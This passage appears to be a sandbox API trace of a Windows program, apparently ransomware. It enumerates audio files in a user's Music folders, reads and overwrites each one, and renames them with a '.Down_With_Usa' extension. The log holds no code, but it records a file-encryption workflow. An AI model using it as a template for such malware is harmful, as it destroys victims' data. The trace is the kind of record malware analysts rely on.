[0121.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b5d4ca0, ftCreationTime.dwHighDateTime=0x1d5d8ba, ftLastAccessTime.dwLowDateTime=0x6d5368e0, ftLastAccessTime.dwHighDateTime=0x1d5e3e0, ftLastWriteTime.dwLowDateTime=0x6d5368e0, ftLastWriteTime.dwHighDateTime=0x1d5e3e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.439] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b5d4ca0, ftCreationTime.dwHighDateTime=0x1d5d8ba, ftLastAccessTime.dwLowDateTime=0x6d5368e0, ftLastAccessTime.dwHighDateTime=0x1d5e3e0, ftLastWriteTime.dwLowDateTime=0x6d5368e0, ftLastWriteTime.dwHighDateTime=0x1d5e3e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.440] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39eba260, ftCreationTime.dwHighDateTime=0x1d5df71, ftLastAccessTime.dwLowDateTime=0x3111b90, ftLastAccessTime.dwHighDateTime=0x1d5d84a, ftLastWriteTime.dwLowDateTime=0x3111b90, ftLastWriteTime.dwHighDateTime=0x1d5d84a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-GzsoRuf3egm", cAlternateFileName="-GZSOR~1")) returned 1
[0121.440] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13145500, ftCreationTime.dwHighDateTime=0x1d5e558, ftLastAccessTime.dwLowDateTime=0x5506b760, ftLastAccessTime.dwHighDateTime=0x1d5e76e, ftLastWriteTime.dwLowDateTime=0x5506b760, ftLastWriteTime.dwHighDateTime=0x1d5e76e, nFileSizeHigh=0x0, nFileSizeLow=0x11406, dwReserved0=0x0, dwReserved1=0x0, cFileName="5z45j.wav", cAlternateFileName="")) returned 1
[0121.440] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef31bd0, ftCreationTime.dwHighDateTime=0x1d5e2b8, ftLastAccessTime.dwLowDateTime=0x5987f8a0, ftLastAccessTime.dwHighDateTime=0x1d5da5b, ftLastWriteTime.dwLowDateTime=0x5987f8a0, ftLastWriteTime.dwHighDateTime=0x1d5da5b, nFileSizeHigh=0x0, nFileSizeLow=0x9e86, dwReserved0=0x0, dwReserved1=0x0, cFileName="J6 _CGbY4_VD.mp3", cAlternateFileName="J6_CGB~1.MP3")) returned 1
[0121.440] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632c7720, ftCreationTime.dwHighDateTime=0x1d5e7ab, ftLastAccessTime.dwLowDateTime=0x1f4fff70, ftLastAccessTime.dwHighDateTime=0x1d5db0a, ftLastWriteTime.dwLowDateTime=0x1f4fff70, ftLastWriteTime.dwHighDateTime=0x1d5db0a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kn92Zvgz", cAlternateFileName="")) returned 1
[0121.440] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9b39f0, ftCreationTime.dwHighDateTime=0x1d5e737, ftLastAccessTime.dwLowDateTime=0xe82d15f0, ftLastAccessTime.dwHighDateTime=0x1d5dc9e, ftLastWriteTime.dwLowDateTime=0xe82d15f0, ftLastWriteTime.dwHighDateTime=0x1d5dc9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UqZ74MPQQ3r5MXx4mHF9", cAlternateFileName="UQZ74M~1")) returned 1
[0121.441] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0121.441] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0121.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0121.441] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav", lpFilePart=0x0) returned 0x49
[0121.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0121.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\5z45j.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.441] GetFileType (hFile=0x3a8) returned 0x1
[0121.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0121.441] GetFileType (hFile=0x3a8) returned 0x1
[0121.442] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x11406
[0121.442] ReadFile (in: hFile=0x3a8, lpBuffer=0x2657188, nNumberOfBytesToRead=0x11406, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2657188*, lpNumberOfBytesRead=0x2eb358*=0x11406, lpOverlapped=0x0) returned 1
[0121.444] CloseHandle (hObject=0x3a8) returned 1
[0121.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav", lpFilePart=0x0) returned 0x49
[0121.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0121.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\5z45j.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.476] GetFileType (hFile=0x3a8) returned 0x1
[0121.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0121.476] GetFileType (hFile=0x3a8) returned 0x1
[0121.476] WriteFile (in: hFile=0x3a8, lpBuffer=0x2776690*, nNumberOfBytesToWrite=0x11410, lpNumberOfBytesWritten=0x2eb3c8, lpOverlapped=0x0 | out: lpBuffer=0x2776690*, lpNumberOfBytesWritten=0x2eb3c8*=0x11410, lpOverlapped=0x0) returned 1
[0121.480] CloseHandle (hObject=0x3a8) returned 1
[0121.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav", lpFilePart=0x0) returned 0x49
[0121.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav.Down_With_Usa", lpFilePart=0x0) returned 0x57
[0121.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0121.484] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\5z45j.wav"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13145500, ftCreationTime.dwHighDateTime=0x1d5e558, ftLastAccessTime.dwLowDateTime=0x5506b760, ftLastAccessTime.dwHighDateTime=0x1d5e76e, ftLastWriteTime.dwLowDateTime=0x24dcd2e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11410)) returned 1
[0121.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0121.484] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\5z45j.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\5z45j.wav.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\5z45j.wav.down_with_usa")) returned 1
[0121.485] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3", lpFilePart=0x0) returned 0x50
[0121.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0121.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\j6 _cgby4_vd.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.485] GetFileType (hFile=0x3a8) returned 0x1
[0121.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0121.485] GetFileType (hFile=0x3a8) returned 0x1
[0121.485] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x9e86
[0121.486] ReadFile (in: hFile=0x3a8, lpBuffer=0x27880e8, nNumberOfBytesToRead=0x9e86, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x27880e8*, lpNumberOfBytesRead=0x2eb358*=0x9e86, lpOverlapped=0x0) returned 1
[0121.487] CloseHandle (hObject=0x3a8) returned 1
[0121.545] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3", lpFilePart=0x0) returned 0x50
[0121.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0121.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\j6 _cgby4_vd.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.547] GetFileType (hFile=0x3a8) returned 0x1
[0121.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0121.547] GetFileType (hFile=0x3a8) returned 0x1
[0121.547] WriteFile (in: hFile=0x3a8, lpBuffer=0x26a2458*, nNumberOfBytesToWrite=0x9e90, lpNumberOfBytesWritten=0x2eb3c8, lpOverlapped=0x0 | out: lpBuffer=0x26a2458*, lpNumberOfBytesWritten=0x2eb3c8*=0x9e90, lpOverlapped=0x0) returned 1
[0121.551] CloseHandle (hObject=0x3a8) returned 1
[0121.553] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3", lpFilePart=0x0) returned 0x50
[0121.553] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3.Down_With_Usa", lpFilePart=0x0) returned 0x5e
[0121.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0121.553] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\j6 _cgby4_vd.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef31bd0, ftCreationTime.dwHighDateTime=0x1d5e2b8, ftLastAccessTime.dwLowDateTime=0x5987f8a0, ftLastAccessTime.dwHighDateTime=0x1d5da5b, ftLastWriteTime.dwLowDateTime=0x24e8b9c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9e90)) returned 1
[0121.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0121.554] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\j6 _cgby4_vd.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\J6 _CGbY4_VD.mp3.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\j6 _cgby4_vd.mp3.down_with_usa")) returned 1
[0121.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0121.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm", lpFilePart=0x0) returned 0x4c
[0121.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\", lpFilePart=0x0) returned 0x4d
[0121.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39eba260, ftCreationTime.dwHighDateTime=0x1d5df71, ftLastAccessTime.dwLowDateTime=0x3111b90, ftLastAccessTime.dwHighDateTime=0x1d5d84a, ftLastWriteTime.dwLowDateTime=0x3111b90, ftLastWriteTime.dwHighDateTime=0x1d5d84a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.556] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39eba260, ftCreationTime.dwHighDateTime=0x1d5df71, ftLastAccessTime.dwLowDateTime=0x3111b90, ftLastAccessTime.dwHighDateTime=0x1d5d84a, ftLastWriteTime.dwLowDateTime=0x3111b90, ftLastWriteTime.dwHighDateTime=0x1d5d84a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.556] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd966ab0, ftCreationTime.dwHighDateTime=0x1d5dbb6, ftLastAccessTime.dwLowDateTime=0x2569890, ftLastAccessTime.dwHighDateTime=0x1d5e7c9, ftLastWriteTime.dwLowDateTime=0x2569890, ftLastWriteTime.dwHighDateTime=0x1d5e7c9, nFileSizeHigh=0x0, nFileSizeLow=0xa88f, dwReserved0=0x0, dwReserved1=0x0, cFileName="io Ck0TfxJUK.wav", cAlternateFileName="IOCK0T~1.WAV")) returned 1
[0121.557] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb03b1150, ftCreationTime.dwHighDateTime=0x1d5e4f1, ftLastAccessTime.dwLowDateTime=0x8503c770, ftLastAccessTime.dwHighDateTime=0x1d5db7d, ftLastWriteTime.dwLowDateTime=0x8503c770, ftLastWriteTime.dwHighDateTime=0x1d5db7d, nFileSizeHigh=0x0, nFileSizeLow=0xebc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="jhQacl9K339Th3uUH0i.mp3", cAlternateFileName="JHQACL~1.MP3")) returned 1
[0121.557] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a54c90, ftCreationTime.dwHighDateTime=0x1d5dcd9, ftLastAccessTime.dwLowDateTime=0x69e0be50, ftLastAccessTime.dwHighDateTime=0x1d5e346, ftLastWriteTime.dwLowDateTime=0x69e0be50, ftLastWriteTime.dwHighDateTime=0x1d5e346, nFileSizeHigh=0x0, nFileSizeLow=0x4ff3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Luvqq.mp3", cAlternateFileName="")) returned 1
[0121.557] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca9ab60, ftCreationTime.dwHighDateTime=0x1d5de00, ftLastAccessTime.dwLowDateTime=0xfdc39330, ftLastAccessTime.dwHighDateTime=0x1d5d933, ftLastWriteTime.dwLowDateTime=0xfdc39330, ftLastWriteTime.dwHighDateTime=0x1d5d933, nFileSizeHigh=0x0, nFileSizeLow=0x1146d, dwReserved0=0x0, dwReserved1=0x0, cFileName="v kOWE9UgObEX4.wav", cAlternateFileName="VKOWE9~1.WAV")) returned 1
[0121.557] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a5bf230, ftCreationTime.dwHighDateTime=0x1d5df36, ftLastAccessTime.dwLowDateTime=0xdd9bcd80, ftLastAccessTime.dwHighDateTime=0x1d5e1c5, ftLastWriteTime.dwLowDateTime=0xdd9bcd80, ftLastWriteTime.dwHighDateTime=0x1d5e1c5, nFileSizeHigh=0x0, nFileSizeLow=0xef15, dwReserved0=0x0, dwReserved1=0x0, cFileName="zNaDJ8.m4a", cAlternateFileName="")) returned 1
[0121.557] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0121.558] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
[0121.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0121.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0121.558] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm", lpFilePart=0x0) returned 0x4c
[0121.558] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\", lpFilePart=0x0) returned 0x4d
[0121.558] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39eba260, ftCreationTime.dwHighDateTime=0x1d5df71, ftLastAccessTime.dwLowDateTime=0x3111b90, ftLastAccessTime.dwHighDateTime=0x1d5d84a, ftLastWriteTime.dwLowDateTime=0x3111b90, ftLastWriteTime.dwHighDateTime=0x1d5d84a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.559] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39eba260, ftCreationTime.dwHighDateTime=0x1d5df71, ftLastAccessTime.dwLowDateTime=0x3111b90, ftLastAccessTime.dwHighDateTime=0x1d5d84a, ftLastWriteTime.dwLowDateTime=0x3111b90, ftLastWriteTime.dwHighDateTime=0x1d5d84a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.559] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd966ab0, ftCreationTime.dwHighDateTime=0x1d5dbb6, ftLastAccessTime.dwLowDateTime=0x2569890, ftLastAccessTime.dwHighDateTime=0x1d5e7c9, ftLastWriteTime.dwLowDateTime=0x2569890, ftLastWriteTime.dwHighDateTime=0x1d5e7c9, nFileSizeHigh=0x0, nFileSizeLow=0xa88f, dwReserved0=0x0, dwReserved1=0x0, cFileName="io Ck0TfxJUK.wav", cAlternateFileName="IOCK0T~1.WAV")) returned 1
[0121.559] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb03b1150, ftCreationTime.dwHighDateTime=0x1d5e4f1, ftLastAccessTime.dwLowDateTime=0x8503c770, ftLastAccessTime.dwHighDateTime=0x1d5db7d, ftLastWriteTime.dwLowDateTime=0x8503c770, ftLastWriteTime.dwHighDateTime=0x1d5db7d, nFileSizeHigh=0x0, nFileSizeLow=0xebc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="jhQacl9K339Th3uUH0i.mp3", cAlternateFileName="JHQACL~1.MP3")) returned 1
[0121.559] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a54c90, ftCreationTime.dwHighDateTime=0x1d5dcd9, ftLastAccessTime.dwLowDateTime=0x69e0be50, ftLastAccessTime.dwHighDateTime=0x1d5e346, ftLastWriteTime.dwLowDateTime=0x69e0be50, ftLastWriteTime.dwHighDateTime=0x1d5e346, nFileSizeHigh=0x0, nFileSizeLow=0x4ff3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Luvqq.mp3", cAlternateFileName="")) returned 1
[0121.560] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca9ab60, ftCreationTime.dwHighDateTime=0x1d5de00, ftLastAccessTime.dwLowDateTime=0xfdc39330, ftLastAccessTime.dwHighDateTime=0x1d5d933, ftLastWriteTime.dwLowDateTime=0xfdc39330, ftLastWriteTime.dwHighDateTime=0x1d5d933, nFileSizeHigh=0x0, nFileSizeLow=0x1146d, dwReserved0=0x0, dwReserved1=0x0, cFileName="v kOWE9UgObEX4.wav", cAlternateFileName="VKOWE9~1.WAV")) returned 1
